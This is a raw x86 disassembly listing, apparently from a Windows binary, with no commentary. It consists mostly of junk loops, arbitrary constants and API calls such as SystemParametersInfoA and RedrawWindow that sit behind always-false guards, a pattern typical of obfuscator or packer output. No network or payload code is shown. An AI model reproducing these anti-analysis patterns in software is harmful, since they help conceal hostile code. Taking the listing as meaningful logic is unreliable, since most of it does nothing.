cmp dword [ebp - 0x37c], 4
je 0x46ae21
mov dword [ebp - 0x2264], 0xffffffff
cmp dword [ebp - 0x37c], 0
je 0x46adb9
mov eax, dword [ebp - 0x37c]
mov dword [ebp - 0x2dc0], eax
cmp dword [ebp - 0x1fe4], 1
je 0x46adce
mov dword [ebp - 0x1cdc], 1
jmp 0x46add5
and dword [ebp - 0x1cdc], 0
cmp dword [ebp - 0x1cdc], 0x66a92721
jg 0x46aded
mov dword [ebp - 0x12ac], 1
jmp 0x46adf4
and dword [ebp - 0x12ac], 0
cmp dword [ebp - 0x12ac], 0xffffffff
jge 0x46ae09
mov dword [ebp - 0x187c], 1
jmp 0x46ae10
and dword [ebp - 0x187c], 0
mov eax, dword [ebp - 0x187c]
mov dword [ebp - 0x2264], eax
jmp 0x46ad80
mov byte [ebp - 0x255], 0
movzx eax, byte [ebp - 0x255]
test eax, eax
je 0x46ae3d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 4
lea ecx, [ebp - 0x1e8c]
call fcn.0042ec30
mov dword [ebp - 0x190], 0
jmp 0x46ae63
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 4
jge 0x46ae85
push dword [ebp - 0x190]
lea ecx, [ebp - 0x1e8c]
call fcn.0042ed1e
mov dword [eax], 0xf75dcec3
jmp 0x46ae56
mov dword [ebp - 0x190], 0
jmp 0x46ae9e
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 1
jge 0x46aeba
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x384], 7
jmp 0x46ae91
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x384], 3
jmp 0x46aee8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x384]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x384], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x384], 0
jl 0x46b1af
push 1
lea ecx, [ebp - 0x1e5c]
call fcn.0042ec30
mov dword [ebp - 0x7f0], 0
jmp 0x46af22
mov eax, dword [ebp - 0x7f0]
inc eax
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x7f0], 1
jge 0x46af41
push dword [ebp - 0x7f0]
lea ecx, [ebp - 0x1e5c]
call fcn.0042ed1e
and dword [eax], 0
jmp 0x46af15
push 0
lea ecx, [ebp - 0x1e5c]
call fcn.0042ed1e
mov dword [eax], 3
jmp 0x46af7a
push 0
lea ecx, [ebp - 0x1e5c]
call fcn.0042ed1e
mov dword [ebp - 0x12b4], eax
mov eax, dword [ebp - 0x12b4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x12b4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1e5c]
call fcn.0042ed1e
cmp dword [eax], 0
jl 0x46b19f
mov dword [ebp - 0x778], 0xfffffff8
push 1
lea ecx, [ebp - 0x2674]
call fcn.0042ec30
mov dword [ebp - 0x66c], 0
jmp 0x46afc0
mov eax, dword [ebp - 0x66c]
inc eax
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 1
jge 0x46afe2
push dword [ebp - 0x66c]
lea ecx, [ebp - 0x2674]
call fcn.0042ed1e
mov dword [eax], 0xfffb
jmp 0x46afb3
mov dword [ebp - 0x778], 3
jmp 0x46affb
mov eax, dword [ebp - 0x778]
dec eax
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 0
jl 0x46b167
mov dword [ebp - 0x674], 0
jmp 0x46b021
mov eax, dword [ebp - 0x674]
inc eax
mov dword [ebp - 0x674], eax
cmp dword [ebp - 0x674], 1
jge 0x46b03d
mov eax, dword [ebp - 0x674]
mov dword [ebp + eax*4 - 0x848], 0xbedcc590
jmp 0x46b014
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x848], 0
jmp 0x46b06b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x848]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x848], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x848], 3
jg 0x46b109
mov dword [ebp - 0x494], 0x4727cad7
mov dword [ebp - 0x494], 0
jmp 0x46b0a2
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 3
jg 0x46b104
push 0
lea ecx, [ebp - 0x1e5c]
call fcn.0042ed1e
push dword [eax]
lea ecx, [ebp - 0x1e8c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x494]
cmp dword [eax], ecx
jle 0x46b0db
mov dword [ebp - 0x1b64], 1
jmp 0x46b0e2
and dword [ebp - 0x1b64], 0
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x384]
lea ecx, [ebp - 0x1e8c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1b64]
mov dword [eax], ecx
jmp 0x46b095
jmp 0x46b050
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x384]
lea ecx, [ebp - 0x1e8c]
call fcn.0042ed1e
mov dword [ebp - 0x12bc], eax
push 0
lea ecx, [ebp - 0x1e5c]
call fcn.0042ed1e
push dword [eax]
lea ecx, [ebp - 0x1e8c]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x12bc]
mov eax, dword [eax]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x2674]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x12bc]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x46afee
mov byte [ebp - 0x334], 0
movzx eax, byte [ebp - 0x334]
test eax, eax
je 0x46b18f
push 0x1c5
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
lea ecx, [ebp - 0x2674]
call fcn.0042ed02
jmp 0x46af56
lea ecx, [ebp - 0x1e5c]
call fcn.0042ed02
jmp 0x46aecd
lea ecx, [ebp - 0x1e8c]
call fcn.0042ed02
push 2
lea ecx, [ebp - 0x2728]
call fcn.0042ec30
mov dword [ebp - 0x23c4], 0xa5d6c05b
mov dword [ebp - 0x23c0], 0xa5d6c05b
mov dword [ebp - 0x23bc], 0xa5d6c05b
mov dword [ebp - 0x23b8], 0xa5d6c05b
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x23c4], 0
jmp 0x46b21d
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x23c4]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x23c4], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x23c4], 0xfffffffb
jg 0x46b24d
mov byte [ebp - 0x25d], 0
movzx eax, byte [ebp - 0x25d]
test eax, eax
je 0x46b24b
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
jmp 0x46b202
mov dword [ebp - 0x420], 0xd8e5ccc9
mov dword [ebp - 0x12cc], 7
push 1
lea ecx, [ebp - 0x24e0]
call fcn.0042ec30
mov dword [ebp - 0x97c], 0
mov dword [ebp - 0xa40], 0xffffffff
mov dword [ebp - 0xaf8], 1
mov dword [ebp - 0x188c], 0xbf5f40e1
mov dword [ebp - 0x2194], 0x3703acb6
mov dword [ebp - 0x1b6c], 0x800f4d4e
mov dword [ebp - 0x67c], 0
jmp 0x46b2c3
mov eax, dword [ebp - 0x67c]
inc eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 1
jge 0x46b2e5
push dword [ebp - 0x67c]
lea ecx, [ebp - 0x24e0]
call fcn.0042ed1e
mov dword [eax], 7
jmp 0x46b2b6
push 0
lea ecx, [ebp - 0x24e0]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x46b3bf
mov eax, dword [ebp - 0xa40]
mov dword [ebp - 0x2dc8], eax
mov eax, dword [ebp - 0xaf8]
mov dword [ebp - 0x2dd0], eax
mov eax, 0x1160
cmp eax, 6
je 0x46b329
mov dword [ebp - 0x1884], 1
jmp 0x46b330
and dword [ebp - 0x1884], 0
mov eax, dword [ebp - 0x97c]
cmp eax, dword [ebp - 0x1884]
jg 0x46b34a
mov dword [ebp - 0x12c4], 1
jmp 0x46b351
and dword [ebp - 0x12c4], 0
mov eax, dword [ebp - 0x97c]
cmp dword [ebp - 0x12c4], eax
jl 0x46b36b
mov dword [ebp - 0x974], 1
jmp 0x46b372
and dword [ebp - 0x974], 0
push 0
lea ecx, [ebp - 0x24e0]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x974]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa40]
cmp dword [ebp - 0x974], eax
jle 0x46b3a1
mov dword [ebp - 0x1e30], 1
jmp 0x46b3a8
and dword [ebp - 0x1e30], 0
mov eax, dword [ebp - 0x1e30]
sub eax, dword [ebp - 0xaf8]
jne 0x46b3bf
and dword [ebp - 0x1fec], 0
jmp 0x46b3c9
mov dword [ebp - 0x1fec], 1
mov dword [ebp - 0x12cc], 1
mov eax, dword [ebp - 0x12cc]
mov dword [ebp - 0x2dd8], eax
mov dword [ebp - 0x188c], 1
mov eax, dword [ebp - 0x188c]
mov dword [ebp - 0x2de0], eax
mov eax, dword [ebp - 0xa40]
mov dword [ebp - 0x2de8], eax
cmp dword [ebp - 0x97c], 0xcaea
jg 0x46b419
mov dword [ebp - 0x12d4], 1
jmp 0x46b420
and dword [ebp - 0x12d4], 0
mov eax, dword [ebp - 0xaf8]
add eax, dword [ebp - 0x12d4]
mov dword [ebp - 0x2194], eax
mov eax, dword [ebp - 0x1b6c]
inc eax
mov dword [ebp - 0x1b6c], eax
lea ecx, [ebp - 0x24e0]
call fcn.0042ed02
mov dword [ebp - 0x780], 0
jmp 0x46b463
mov eax, dword [ebp - 0x780]
inc eax
mov dword [ebp - 0x780], eax
cmp dword [ebp - 0x780], 2
jge 0x46b485
push dword [ebp - 0x780]
lea ecx, [ebp - 0x2728]
call fcn.0042ed1e
mov dword [eax], 0xdf75dcec
jmp 0x46b456
mov dword [ebp - 0x420], 1
jmp 0x46b49e
mov eax, dword [ebp - 0x420]
dec eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0
jl 0x46b9e3
push 1
lea ecx, [ebp - 0xab4]
call fcn.0042ec30
mov dword [ebp - 0x1d9c], 1
mov dword [ebp - 0x2df0], 0xc9a7b2e0
mov dword [ebp - 0x684], 0
jmp 0x46b4e5
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 1
jge 0x46b507
push dword [ebp - 0x684]
lea ecx, [ebp - 0xab4]
call fcn.0042ed1e
mov dword [eax], 0xd5e48d32
jmp 0x46b4d8
push 0
lea ecx, [ebp - 0xab4]
call fcn.0042ed1e
mov dword [eax], 0xffffffee
jmp 0x46b540
push 0
lea ecx, [ebp - 0xab4]
call fcn.0042ed1e
mov dword [ebp - 0x12dc], eax
mov eax, dword [ebp - 0x12dc]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x12dc]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xab4]
call fcn.0042ed1e
cmp dword [eax], 0x19
jge 0x46b929
mov dword [ebp - 0x1ff4], 0xb40194dd
mov dword [ebp - 0x1b0], 0x7822e6e7
mov dword [ebp - 0x1304], 0
mov dword [ebp - 0x7f8], 0
jmp 0x46b58d
mov eax, dword [ebp - 0x7f8]
inc eax
mov dword [ebp - 0x7f8], eax
cmp dword [ebp - 0x7f8], 1
jge 0x46b5a9
mov eax, dword [ebp - 0x7f8]
mov dword [ebp + eax*4 - 0x1324], 0xe481db3a
jmp 0x46b580
push 0
lea ecx, [ebp - 0xab4]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x1ff4]
cmp dword [eax], ecx
jge 0x46b5cc
mov dword [ebp - 0x1894], 1
jmp 0x46b5d3
and dword [ebp - 0x1894], 0
mov eax, dword [ebp - 0x1894]
mov dword [ebp - 0x1b0], eax
push 0
lea ecx, [ebp - 0xab4]
call fcn.0042ed1e
cmp dword [eax], 0x4990
jl 0x46b8da
mov dword [ebp - 0x2df8], 0
push 2
lea ecx, [ebp - 0x2710]
call fcn.0042ec30
mov dword [ebp - 0x148], 0
jmp 0x46b628
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 2
jge 0x46b644
mov eax, dword [ebp - 0x148]
mov dword [ebp + eax*4 - 0xb5c], 0x1ecbfcf4
jmp 0x46b61b
mov dword [ebp - 0x148], 0
jmp 0x46b65d
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 2
jge 0x46b67f
push dword [ebp - 0x148]
lea ecx, [ebp - 0x2710]
call fcn.0042ed1e
mov dword [eax], 0xe7e5ff1f
jmp 0x46b650
push 0
lea ecx, [ebp - 0xab4]
call fcn.0042ed1e
cmp dword [eax], 1
jge 0x46b69d
mov dword [ebp - 0x12e4], 1
jmp 0x46b6a4
and dword [ebp - 0x12e4], 0
mov eax, dword [ebp - 0x12e4]
sub eax, 3
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xb5c]
jge 0x46b6c8
mov dword [ebp - 0x1ce4], 1
jmp 0x46b6cf
and dword [ebp - 0x1ce4], 0
mov eax, dword [ebp - 0x1b0]
cmp dword [ebp - 0x1ce4], eax
jge 0x46b6f8
push 0
lea ecx, [ebp - 0xab4]
call fcn.0042ed1e
cmp dword [eax], 0
jne 0x46b6f8
and dword [ebp - 0x12ec], 0
jmp 0x46b702
mov dword [ebp - 0x12ec], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb5c]
cmp dword [ebp - 0x12ec], eax
jg 0x46b723
mov dword [ebp - 0x189c], 1
jmp 0x46b72a
and dword [ebp - 0x189c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb5c]
cmp dword [ebp - 0x189c], eax
jle 0x46b74b
mov dword [ebp - 0x12f4], 1
jmp 0x46b752
and dword [ebp - 0x12f4], 0
cmp dword [ebp - 0x12f4], 0xfffffffe
jg 0x46b767
mov dword [ebp - 0x1b74], 1
jmp 0x46b76e
and dword [ebp - 0x1b74], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb5c]
cmp dword [ebp - 0x1b74], eax
jne 0x46b78f
mov dword [ebp - 0x12fc], 1
jmp 0x46b796
and dword [ebp - 0x12fc], 0
cmp dword [ebp - 0x12fc], 0xca62
jl 0x46b7ae
mov dword [ebp - 0x18a4], 1
jmp 0x46b7b5
and dword [ebp - 0x18a4], 0
mov eax, dword [ebp - 0x18a4]
mov dword [ebp - 0x1304], eax
mov eax, dword [ebp - 0x1304]
mov dword [ebp - 0x1d9c], eax
mov esi, dword [ebp - 0x1d9c]
push 0
lea ecx, [ebp - 0xab4]
call fcn.0042ed1e
imul esi, dword [eax]
push 0
lea ecx, [ebp - 0xab4]
call fcn.0042ed1e
cmp esi, dword [eax]
jg 0x46b800
mov dword [ebp - 0x130c], 1
jmp 0x46b807
and dword [ebp - 0x130c], 0
mov eax, dword [ebp - 0x1b0]
cmp eax, dword [ebp - 0x130c]
jl 0x46b821
mov dword [ebp - 0x18ac], 1
jmp 0x46b828
and dword [ebp - 0x18ac], 0
imul eax, dword [ebp - 0x18ac], 0xfffffffe
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xb5c]
jge 0x46b84a
mov dword [ebp - 0x1314], 1
jmp 0x46b851
and dword [ebp - 0x1314], 0
cmp dword [ebp - 0x1314], 0x972c
jge 0x46b869
mov dword [ebp - 0x1b7c], 1
jmp 0x46b870
and dword [ebp - 0x1b7c], 0
cmp dword [ebp - 0x1b7c], 0x1036c141
jge 0x46b888
mov dword [ebp - 0x131c], 1
jmp 0x46b88f
and dword [ebp - 0x131c], 0
cmp dword [ebp - 0x131c], 0xffffffff
jle 0x46b8a4
mov dword [ebp - 0x18b4], 1
jmp 0x46b8ab
and dword [ebp - 0x18b4], 0
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0xb5c]
add esi, dword [ebp - 0x18b4]
push 1
lea ecx, [ebp - 0x2710]
call fcn.0042ed1e
mov dword [eax], esi
lea ecx, [ebp - 0x2710]
call fcn.0042ed02
jmp 0x46b924
mov dword [ebp - 0x1b0], 0
jmp 0x46b8f3
mov eax, dword [ebp - 0x1b0]
inc eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 1
jge 0x46b90f
mov eax, dword [ebp - 0x1b0]
mov dword [ebp + eax*4 - 0x1324], 0x77fc3fe7
jmp 0x46b8e6
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1324], 0
je 0x46b924
jmp 0x46b51c
jmp 0x46b51c
lea ecx, [ebp - 0xab4]
call fcn.0042ed02
mov dword [ebp - 0x2e00], 0x3a4a
mov dword [ebp - 0x2e08], 0x6aabecba
mov dword [ebp - 0x2e9c], 0xbd97a888
mov dword [ebp - 0x2ea4], 1
push 3
lea ecx, [ebp - 0x2ca4]
call fcn.0042ec30
mov dword [ebp - 0x1cec], 0
mov dword [ebp - 0x68c], 0
jmp 0x46b98c
mov eax, dword [ebp - 0x68c]
inc eax
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 3
jge 0x46b9ae
push dword [ebp - 0x68c]
lea ecx, [ebp - 0x2ca4]
call fcn.0042ed1e
mov dword [eax], 5
jmp 0x46b97f
mov eax, dword [ebp - 0x1cec]
inc eax
mov dword [ebp - 0x1cec], eax
lea ecx, [ebp - 0x2ca4]
call fcn.0042ed02
push dword [ebp - 0x420]
lea ecx, [ebp - 0x2728]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x46b9de
jmp 0x46b9e3
jmp 0x46b491
lea ecx, [ebp - 0x2728]
call fcn.0042ed02
push 3
lea ecx, [ebp - 0x2308]
call fcn.0042ec30
mov dword [ebp - 0x38c], 0x7df2f4a8
mov dword [ebp - 0x2eac], 1
mov dword [ebp - 0x788], 0
jmp 0x46ba28
mov eax, dword [ebp - 0x788]
inc eax
mov dword [ebp - 0x788], eax
cmp dword [ebp - 0x788], 3
jge 0x46ba4a
push dword [ebp - 0x788]
lea ecx, [ebp - 0x2308]
call fcn.0042ed1e
mov dword [eax], 0xff0ea75c
jmp 0x46ba1b
mov dword [ebp - 0x38c], 0
jmp 0x46ba63
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 2
jg 0x46bb3e
mov dword [ebp - 0x4ec], 0x801fc3ee
mov dword [ebp - 0x4ec], 0
jmp 0x46ba93
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 2
jg 0x46bb21
mov dword [ebp - 0x694], 0
jmp 0x46bab9
mov eax, dword [ebp - 0x694]
inc eax
mov dword [ebp - 0x694], eax
cmp dword [ebp - 0x694], 2
jge 0x46bad5
mov eax, dword [ebp - 0x694]
mov dword [ebp + eax*4 - 0x2b28], 0x13281d21
jmp 0x46baac
push dword [ebp - 0x4ec]
lea ecx, [ebp - 0x2308]
call fcn.0042ed1e
mov dword [ebp - 0x132c], eax
push dword [ebp - 0x38c]
lea ecx, [ebp - 0x2308]
call fcn.0042ed1e
mov ecx, dword [ebp - 0x132c]
mov eax, dword [eax]
mov dword [ecx], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x132c]
mov ecx, dword [ecx]
mov dword [ebp + eax - 0x2b28], ecx
jmp 0x46ba86
push dword [ebp - 0x38c]
lea ecx, [ebp - 0x2308]
call fcn.0042ed1e
cmp dword [eax], 0
je 0x46bb39
jmp 0x46bb3e
jmp 0x46ba56
lea ecx, [ebp - 0x2308]
call fcn.0042ed02
call fcn.0045ddf1
mov dword [ebp - 0x6c], 0x10e6
mov dword [ebp - 0x69c], 0xb017290b
mov dword [ebp - 0x424], 0xfffffffe
mov dword [ebp - 0x42c], 0x33a9025b
mov dword [ebp - 0x830], 0
jmp 0x46bb8c
mov eax, dword [ebp - 0x830]
inc eax
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x830], 3
jge 0x46bba8
mov eax, dword [ebp - 0x830]
mov dword [ebp + eax*4 - 0x8a0], 0xfffffffd
jmp 0x46bb7f
cmp dword [ebp - 0x6c], 0
ja 0x46bbba
mov dword [ebp - 0x1b84], 1
jmp 0x46bbc1
and dword [ebp - 0x1b84], 0
mov eax, dword [ebp - 0x6c]
sub eax, dword [ebp - 0x6c]
je 0x46bbdb
cmp dword [ebp - 0x6c], 0
je 0x46bbdb
mov dword [ebp - 0x18bc], 1
jmp 0x46bbe2
and dword [ebp - 0x18bc], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x18bc], eax
jge 0x46bbf9
mov dword [ebp - 0x1334], 1
jmp 0x46bc00
and dword [ebp - 0x1334], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x1334], eax
jne 0x46bc17
mov dword [ebp - 0x133c], 1
jmp 0x46bc1e
and dword [ebp - 0x133c], 0
mov eax, dword [ebp - 0x1b84]
sub eax, dword [ebp - 0x133c]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x8a0]
je 0x46bc47
cmp dword [ebp - 0x6c], 0
jne 0x46bc47
and dword [ebp - 0x18c4], 0
jmp 0x46bc51
mov dword [ebp - 0x18c4], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8a0]
add eax, dword [ebp - 0x18c4]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x8a0]
je 0x46bc7d
mov dword [ebp - 0x1344], 1
jmp 0x46bc84
and dword [ebp - 0x1344], 0
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x6c]
sub ecx, dword [ebp - 0x1344]
imul eax, ecx
cmp eax, 0xba00
jge 0x46bca6
mov dword [ebp - 0x1df8], 1
jmp 0x46bcad
and dword [ebp - 0x1df8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8a0]
cmp dword [ebp - 0x1df8], eax
je 0x46bcc7
cmp dword [ebp - 0x6c], 0
je 0x46bcda
push 0xfffffffffffffffd
pop eax
test eax, eax
je 0x46bcda
mov dword [ebp - 0x134c], 1
jmp 0x46bce1
and dword [ebp - 0x134c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8a0]
cmp dword [ebp - 0x134c], eax
je 0x46bd02
mov dword [ebp - 0x18cc], 1
jmp 0x46bd09
and dword [ebp - 0x18cc], 0
cmp dword [ebp - 0x18cc], 0x64d9
je 0x46bd21
mov dword [ebp - 0x237c], 1
jmp 0x46bd28
and dword [ebp - 0x237c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8a0]
mov dword [ebp - 0x2eb4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x8a0], 0
je 0x46bd66
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x8a0], 0
je 0x46bd66
mov dword [ebp - 0x1354], 1
jmp 0x46bd6d
and dword [ebp - 0x1354], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8a0]
cmp dword [ebp - 0x1354], eax
je 0x46bd8e
mov dword [ebp - 0x1b8c], 1
jmp 0x46bd95
and dword [ebp - 0x1b8c], 0
mov eax, dword [ebp - 0x1b8c]
mov dword [ebp - 0x69c], eax
cmp dword [ebp - 0x69c], 0
je 0x46bdbf
mov eax, 0xadf851f0
test eax, eax
je 0x46bdbf
mov dword [ebp - 0x135c], 1
jmp 0x46bdc6
and dword [ebp - 0x135c], 0
cmp dword [ebp - 0x135c], 0xb0c3
jle 0x46bdde
mov dword [ebp - 0x18d4], 1
jmp 0x46bde5
and dword [ebp - 0x18d4], 0
mov eax, dword [ebp - 0x424]
imul eax, dword [ebp - 0x18d4]
imul eax, dword [ebp - 0x424]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x8a0]
jg 0x46be13
mov dword [ebp - 0x1364], 1
jmp 0x46be1a
and dword [ebp - 0x1364], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8a0]
cmp dword [ebp - 0x1364], eax
jge 0x46be3a
mov dword [ebp - 0x1cf4], 1
jmp 0x46be41
and dword [ebp - 0x1cf4], 0
mov eax, dword [ebp - 0x424]
cmp dword [ebp - 0x1cf4], eax
jle 0x46be5b
mov dword [ebp - 0x136c], 1
jmp 0x46be62
and dword [ebp - 0x136c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8a0]
add eax, dword [ebp - 0x136c]
neg eax
cmp eax, 0xa3e2be8c
jne 0x46be8a
mov dword [ebp - 0x18dc], 1
jmp 0x46be91
and dword [ebp - 0x18dc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8a0]
imul eax, dword [ebp - 0x18dc]
cmp eax, dword [ebp - 0x6c]
jge 0x46beb5
mov dword [ebp - 0x1374], 1
jmp 0x46bebc
and dword [ebp - 0x1374], 0
mov eax, dword [ebp - 0x1374]
mov dword [ebp - 0x42c], eax
push 8
pop eax
test eax, eax
je 0x46bf23
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x2ebc], eax
mov eax, dword [ebp - 0x42c]
cmp dword [ebp - 0x69c], eax
jg 0x46bef2
mov dword [ebp - 0x1b94], 1
jmp 0x46bef9
and dword [ebp - 0x1b94], 0
mov eax, dword [ebp - 0x1b94]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
je 0x46bf23
cmp dword [ebp - 0x424], 0
je 0x46bf23
mov dword [ebp - 0x1ffc], 1
jmp 0x46bf2a
and dword [ebp - 0x1ffc], 0
mov eax, dword [ebp - 0x42c]
add eax, dword [ebp - 0x424]
mov dword [ebp - 0x69c], eax
mov dword [ebp - 0x6a4], 0xffffffff
mov dword [ebp - 0x798], 0xa11c1574
mov dword [ebp - 0x790], 0
jmp 0x46bf69
mov eax, dword [ebp - 0x790]
inc eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 1
jge 0x46bf85
mov eax, dword [ebp - 0x790]
mov dword [ebp + eax*4 - 0x2ec4], 0x72d76715
jmp 0x46bf5c
mov dword [ebp - 0x6a4], 0
jmp 0x46bf9e
mov eax, dword [ebp - 0x6a4]
dec eax
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 0xffffffef
jg 0x46c0b3
mov dword [ebp - 0x800], 0
mov dword [ebp - 0x2ecc], 0xbedcc590
mov dword [ebp - 0x800], 0
jmp 0x46bfd8
mov eax, dword [ebp - 0x800]
dec eax
mov dword [ebp - 0x800], eax
cmp dword [ebp - 0x800], 0xffffffe3
je 0x46c0ae
push 1
lea ecx, [ebp - 0x2740]
call fcn.0042ec30
mov dword [ebp - 0x6ac], 0
jmp 0x46c00b
mov eax, dword [ebp - 0x6ac]
inc eax
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 1
jge 0x46c02d
push dword [ebp - 0x6ac]
lea ecx, [ebp - 0x2740]
call fcn.0042ed1e
mov dword [eax], 0x7308
jmp 0x46bffe
push 0
lea ecx, [ebp - 0x2740]
call fcn.0042ed1e
mov dword [ebp - 0x137c], eax
mov eax, dword [ebp - 0x137c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x137c]
mov dword [ecx], eax
mov dword [ebp - 0x798], 0
jmp 0x46c06a
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 0
jg 0x46c09e
mov byte [ebp - 0x34a], 0
movzx eax, byte [ebp - 0x34a]
test eax, eax
je 0x46c09c
push 0x2246
push 0
push 0xcf7
push 0x159b
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
jmp 0x46c05d
lea ecx, [ebp - 0x2740]
call fcn.0042ed02
jmp 0x46bfcb
jmp 0x46bf91
mov dword [ebp - 0x50], 0xffff
mov dword [ebp - 0x74], 0x5d7
mov dword [ebp - 0x438], 0xfffffff7
mov dword [ebp - 0x18fc], 1
mov dword [ebp - 0x2004], 0xece01153
mov dword [ebp - 0x6b4], 0
jmp 0x46c0f8
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 1
jge 0x46c114
mov eax, dword [ebp - 0x6b4]
mov dword [ebp + eax*4 - 0x226c], 6
jmp 0x46c0eb
cmp dword [ebp - 0x50], 0
jne 0x46c236
mov eax, dword [ebp - 0x50]
sub eax, 0x48412125
jne 0x46c236
cmp dword [ebp - 0x50], 0
je 0x46c1af
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x50], eax
jl 0x46c146
mov dword [ebp - 0x219c], 1
jmp 0x46c14d
and dword [ebp - 0x219c], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x2ed4], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x2d20], eax
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x74], eax
jle 0x46c173
mov dword [ebp - 0x18e4], 1
jmp 0x46c17a
and dword [ebp - 0x18e4], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x18e4], eax
jge 0x46c191
mov dword [ebp - 0x1384], 1
jmp 0x46c198
and dword [ebp - 0x1384], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x1384], eax
